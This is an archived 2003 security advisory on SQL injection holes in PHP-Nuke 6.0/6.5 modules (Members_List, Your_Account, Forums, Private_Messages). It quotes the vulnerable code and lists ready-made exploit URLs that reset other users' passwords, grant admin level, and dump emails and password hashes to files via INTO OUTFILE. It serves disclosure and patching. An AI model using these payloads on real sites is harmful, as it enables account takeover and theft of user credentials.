6th Mar 2003 [SBWID-6045]
COMMAND
	PHP-Nuke Serious SQL Injection Security Holes
SYSTEMS AFFECTED
	- PHP-Nuke 6.0 (& 6.5?), Modules : Members_List, Your_Account
	- PHP-Nuke 6.0 & 6.5RC2 : Forums, Private_Messages
PROBLEM
	In Frog Man (frog-m@n] advisory :
	
	 http://www.frog-man.org/tutos/PHP-Nuke6.0-Members_List-Your_Account.txt
	
	PHP Configuration : This will work if magic_quotes_gpc=OFF.
	 PHP Code/Location :
	 °°°°°°°°°°°°°°°°°°?
	/modules/Members_List/index.php :
	
	------------------------------------------------------------------------
	[...]
	        $count = "SELECT COUNT(uid) AS total FROM ".$user_prefix."_users ";
	        $select = "select uid, name, uname, femail, url from 
	".$user_prefix."_users ";
		$where = "where uname != 'Anonymous' ";
		if ( ( $letter != "Other" ) AND ( $letter != "All" ) ) {
	            $where .= "AND uname like '".$letter."%' ";
	        } else if ( ( $letter == "Other" ) AND ( $letter != "All" ) ) {
	            $where .= "AND uname REGEXP \"^\[1-9]\" ";
	        } else {
	            $where .= "";
	        }
	        $sort = "order by $sortby";
	        $limit = " ASC LIMIT ".$min.", ".$max;
	        $count_result = sql_query($count.$where, $dbi);
	        $num_rows_per_order = mysql_result($count_result,0,0);
	        $result = sql_query($select.$where.$sort.$limit, $dbi) or die();
	        echo "<br>";
	        if ( $letter != "front" ) {
	            echo "<table width=\"100%\" border=\"0\" 
	cellspacing=\"1\"><tr>\n";
	            echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._NICKNAME."</b></td>\n";
	            echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._REALNAME."</b></td>\n";
	            echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._EMAIL."</b></td>\n";
	            echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._URL."</b></td>\n";
	            $cols = 4;
	[...]
	------------------------------------------------------------------------
	
	/modules/Your_Account/index.php :
	
	------------------------------------------------------------------------
	switch($op) {
	[...]
	    case "mailpasswd":
		mail_password($uname, $code);
		break;
	    case "userinfo":
		userinfo($uname, $bypass, $hid, $url);
		break;
	    case "login":
		login($uname, $pass);
		break;
	[...]
	    case "saveuser":
		saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass, 
	$bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest, 
	$user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter);
		break;
	[...]
	    case "savehome":
		savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast, 
	$popmeson);
		break;
	    case "savetheme":
		savetheme($uid, $theme);
		break;
	[...]
	    case "savecomm":
		savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax);
		break;
	[...]
	}
	------------------------------------------------------------------------
	
	/modules/Your_Account/index.php :
	
	------------------------------------------------------------------------
	[...]
	function saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, 
	$vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest, 
	$user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter) {
	    global $user, $cookie, $userinfo, $EditedMessage, $user_prefix, $dbi, 
	$module_name;
	    cookiedecode($user);
	    $check = $cookie[1];
	    $check2 = $cookie[2];
	    $result = sql_query("select uid, pass from ".$user_prefix."_users where 
	uname='$check'", $dbi);
	    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
	    if (($uid == $vuid) AND ($check2 == $ccpass)) {
		if (!eregi("http://", $url)) {
		    $url = "http://$url";
		}
		if ((isset($pass)) && ("$pass" != "$vpass")) {
		    echo "<center>"._PASSDIFFERENT."</center>";
		} elseif (($pass != "") && (strlen($pass) < $minpass)) {
		    echo "<center>"._YOUPASSMUSTBE." <b>$minpass</b> 
	"._CHARLONG."</center>";
		} else {
		    if ($bio) { filter_text($bio); $bio = $EditedMessage; $bio = 
	FixQuotes($bio); }
		    if ($pass != "") {
			cookiedecode($user);
			sql_query("LOCK TABLES ".$user_prefix."_users WRITE", $dbi);
			$pass = md5($pass);
			sql_query("update ".$user_prefix."_users set name='$realname', 
	email='$email', femail='$femail', url='$url', pass='$pass', bio='$bio' , 
	user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', 
	user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', 
	user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', 
	newsletter='$newsletter' where uid='$uid'", $dbi);
			$result = sql_query("select uid, uname, pass, storynum, umode, uorder, 
	thold, noscore, ublockon, theme from ".$user_prefix."_users where 
	uname='$uname' and pass='$pass'", $dbi);
			if(sql_num_rows($result, $dbi)==1) {
			    $userinfo = sql_fetch_array($result, $dbi);
	docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
			} else {
			    echo "<center>"._SOMETHINGWRONG."</center><br>";
			}
			sql_query("UNLOCK TABLES", $dbi);
		    } else {
			sql_query("update ".$user_prefix."_users set name='$realname', 
	email='$email', femail='$femail', url='$url', bio='$bio', 
	user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', 
	user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', 
	user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', 
	newsletter='$newsletter' where uid='$uid'", $dbi);
		    if ($attach) {
			$a = 1;
		    } else {
			$a = 0;
		    }
		    }
		    Header("Location: modules.php?name=$module_name");
		}
	    }
	}
	[...]
	function savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast, 
	$popmeson) {
	    global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name;
	    cookiedecode($user);
	    $check = $cookie[1];
	    $check2 = $cookie[2];
	    $result = sql_query("select uid, pass from ".$user_prefix."_users where 
	uname='$check'", $dbi);
	    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
	    if (($uid == $vuid) AND ($check2 == $ccpass)) {
		if(isset($ublockon)) $ublockon=1; else $ublockon=0;
		$ublock = FixQuotes($ublock);
		sql_query("update ".$user_prefix."_users set storynum='$storynum', 
	ublockon='$ublockon', ublock='$ublock', broadcast='$broadcast', 
	popmeson='$popmeson' where uid='$uid'", $dbi);
		getusrinfo($user);
		docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
		Header("Location: modules.php?name=$module_name");
	    }
	}
	function savetheme($uid, $theme) {
	    global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name;
	    cookiedecode($user);
	    $check = $cookie[1];
	    $check2 = $cookie[2];
	    $result = sql_query("select uid, pass from ".$user_prefix."_users where 
	uname='$check'", $dbi);
	    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
	    if (($uid == $vuid) AND ($check2 == $ccpass)) {
		sql_query("update ".$user_prefix."_users set theme='$theme' where 
	uid='$uid'", $dbi);
		getusrinfo($user);
		docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
		Header("Location: modules.php?name=$module_name&theme=$theme");
	    }
	}
	[...]
	function savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, 
	$commentmax) {
	    global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name;
	    cookiedecode($user);
	    $check = $cookie[1];
	    $check2 = $cookie[2];
	    $result = sql_query("select uid, pass from ".$user_prefix."_users where 
	uname='$check'", $dbi);
	    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
	    if (($uid == $vuid) AND ($check2 == $ccpass)) {
		if(isset($noscore)) $noscore=1; else $noscore=0;
		sql_query("update ".$user_prefix."_users set umode='$umode', 
	uorder='$uorder', thold='$thold', noscore='$noscore', 
	commentmax='$commentmax' where uid='$uid'", $dbi);
		getusrinfo($user);
		docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
		Header("Location: modules.php?name=$module_name");
	    }
	}
	[...]
	------------------------------------------------------------------------
	
	/modules/Your_Account/index.php :
	
	------------------------------------------------------------------------
	[...]
	function mail_password($uname, $code) {
	    global $sitename, $adminmail, $nukeurl, $user_prefix, $dbi, 
	$module_name;
	    $result = sql_query("select email, pass from ".$user_prefix."_users 
	where (uname='$uname')", $dbi);
	    if(!$result) {
		include("header.php");
		OpenTable();
		echo "<center>"._SORRYNOUSERINFO."</center>";
		CloseTable();
		include("footer.php");
	[...]
	------------------------------------------------------------------------
	
	
	------------------------------------------------------------------------
	[...]
	function userinfo($uname, $bypass=0, $hid=0, $url=0) {
	    global $user, $cookie, $sitename, $prefix, $user_prefix, $dbi, $admin, 
	$broadcast_msg, $my_headlines, $module_name;
	    $result = sql_query("select uid, femail, url, bio, user_avatar, 
	user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest, 
	user_sig, pass, newsletter from ".$user_prefix."_users where 
	uname='$uname'", $dbi);
	    $userinfo = sql_fetch_array($result, $dbi);
	[...]
	------------------------------------------------------------------------
	
	
	------------------------------------------------------------------------
	[...]
	function login($uname, $pass) {
	    global $setinfo, $user_prefix, $dbi, $module_name;
	    $result = sql_query("select pass, uid, storynum, umode, uorder, thold, 
	noscore, ublockon, theme, commentmax from ".$user_prefix."_users where 
	uname='$uname'", $dbi);
	    $setinfo = sql_fetch_array($result, $dbi);
	[...]
	}
	[...]
	------------------------------------------------------------------------
	
	 Exploits :
	 °°°°°°°°°°
	Members_List :
	- Show users (order by crypted pass) :
	 
	 http://[target]/modules.php?name=Members_List&letter=All&sortby=pass
	
	- Show users (order by UID) :
	
	 http://[target]/modules.php?name=Members_List&letter=All&sortby=uid
	
	- Show moderators :
	
	 http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='2'/*
	
	- Show administrators :
	
	 http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='4'/*
	
	- Show all users having a crypted pass beginning with 'abc' :
	 http://[target]/modules.php?name=Members_List&letter='%20OR%20pass%20LIKE%20'abc%25'/*
	
	- Etc...
	Your_Account :
	- Change the name of 'Admin' user into "hophophop" :
	
	 http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',name='Hophophop'%20where%20uname='Admin'/*&uid=[OUR_UID]
	
	- Change the Bob's password INTO md5_decrypted
	
	'd41d8cd98f00b204e9800998ecf8427e' :
	http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=saveuser&realname=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=saveuser&email=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savehome&storynum=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savecomm&umode=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savecomm&thold=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	
	or...or... and or again :p
	- Change our own user account level into admin level :
	
	http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',user_level='4&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=saveuser&femail=',user_level='4&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://',user_level='4&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=',user_level='4&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=',user_level='4&uid=[OUR_UID]
	or etc...
	
	- Save all users' email & crypted password into
	
	http://[target]/AllMailPass.txt :
	http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=')%20OR%201=1%20INTO%20OUTFILE%20'/[path/to/site]/AllMailPass.txt'/*
	It will give in http://[target]/AllMailPass.txt anything like :
	--------------------------------------------------------
	[email protected]	a34e83e6658923ceb100abb52cd31df6
	[email protected]	5728cea4924d9097c78d08165ad1dd8a
	[email protected]	546fa9501a436d4615b798f856386ba8
	[email protected]		614edfbc874f09d75b98240295a8f39f
	[email protected]	fbd125e74581979d2b7fc6e2b360e286
	[email protected]	9407c826d8e3c07ad37cb2d13d1cb641
	[email protected]	f9ac6b05beccb0fc5837b6a7fef4c1d3
	[email protected]	6106edf3e22b0cd8609fa1112d0ae962
	[email protected]	739897be3e14cf5a9fb032069f522b77
	--------------------------------------------------------
	
	(crypted password can be sent by cookie to access to the account).
	- Save the informations about users wich have an  uid  between  190  and
	196 into http://[target]/1.txt :
	
	http://[target]/modules.php?name=Your_Account&op=userinfo&uname='%20OR%20uid>190%20AND%20uid<196%20INTO%20OUTFILE%20'/[path/to/site]/1.txt
	
	-   Save   all   informations   about   admins,   moderators,...    into
	http://[target]/admintxt :
	
	http://[target]/modules.php?name=Your_Account&op=login&uname='%20OR%user_level>1%20INTO%20OUTFILE%20'/[path/to/site]/admin.txt
	
	etc etc ... !
	[path/to/site]     can     be      found      (for      example)      on
	http://[target]/modules/Forums/bb_smilies.php (Path Disclosure  Security
	Hole).
	 Update (12 March 2003)
	 ======
	Frog Man adds :
	 PHP Code/Location :
	 °°°°°°°°°°°°°°°°°°?
	
	/modules/Forums/viewtopic.php :
	------------------------------------------------------------------------
	$sql = "SELECT forum_type, forum_id, forum_pass, forum_name, forum_access, 
	forum_moderator, forum_atch FROM ${prefix}_forums WHERE forum_id = 
	'$forum'";
	------------------------------------------------------------------------
	/modules/Forums/viewforum.php :
	------------------------------------------------------------------------
	$sql = "SELECT f.forum_id, f.forum_type, f.forum_pass, f.forum_name, 
	u.uname, u.uid,m.forum_id,m.user_id FROM
	${prefix}_forums f, ".$user_prefix."_users u, ${prefix}_forum_mods m
	WHERE f.forum_id = '$forum' AND m.forum_id = '$forum' AND m.user_id = 
	u.uid";
	------------------------------------------------------------------------
	/modules/Forums/reply.php :
	------------------------------------------------------------------------
	$sql = "SELECT forum_name, forum_access, forum_moderator, forum_atch FROM 
	${prefix}_forums WHERE (forum_id = '$forum')";
	------------------------------------------------------------------------
	/modules/Forums/newtopic.php :
	------------------------------------------------------------------------
	$sql = "SELECT forum_type, forum_pass, forum_name, forum_access, 
	forum_moderator, forum_atch FROM ${prefix}_forums WHERE (forum_id = 
	'$forum')";
	------------------------------------------------------------------------
	/modules/Forums/editpost.php :
	------------------------------------------------------------------------$sql 
	= "SELECT forum_name, forum_access, forum_moderator, forum_atch FROM 
	${prefix}_forums WHERE forum_id = '$forum'";
	------------------------------------------------------------------------
	/modules/Private_Messages/reply.php :
	------------------------------------------------------------------------
	if ($reply || $send) {
	    if ($uname != "") {
		$res = sql_num_rows(sql_query("select * from ".$user_prefix."_users where 
	uname='$uname'", $dbi), $dbi);
	------------------------------------------------------------------------
	
	 Exploits :
	 °°°°°°°°°°
	- This will save forums informations into a txt file :
	
	http://[target]/modules.php?op=modload&name=Forums&file=viewtopic&topic=1&forum=1'%20INTO%20OUTFILE%20'[path/to/site]/vt.txt
	http://[target]/modules.php?op=modload&name=Forums&file=viewforum&forum='%20OR%201=1%20INTO%20OUTFILE%20'[/path]/vf.txt'/*
	http://[target]/modules.php?op=modload&name=Forums&file=reply&forum=1')%20INTO%20OUTFILE%20'[/path]/reply.txt'/*
	http://[target]/modules.php?op=modload&name=Forums&file=newtopic&forum=1')%20INTO%20OUTFILE%20'[/path]/newtopic.txt'/*
	http://[target]/modules.php?op=modload&name=Forums&file=editpost&forum=1'%20INTO%20OUTFILE%20'[/path]/editpost.txt
	
	etc...
SOLUTION
	A patch has been created and published on http://www.phpsecure.info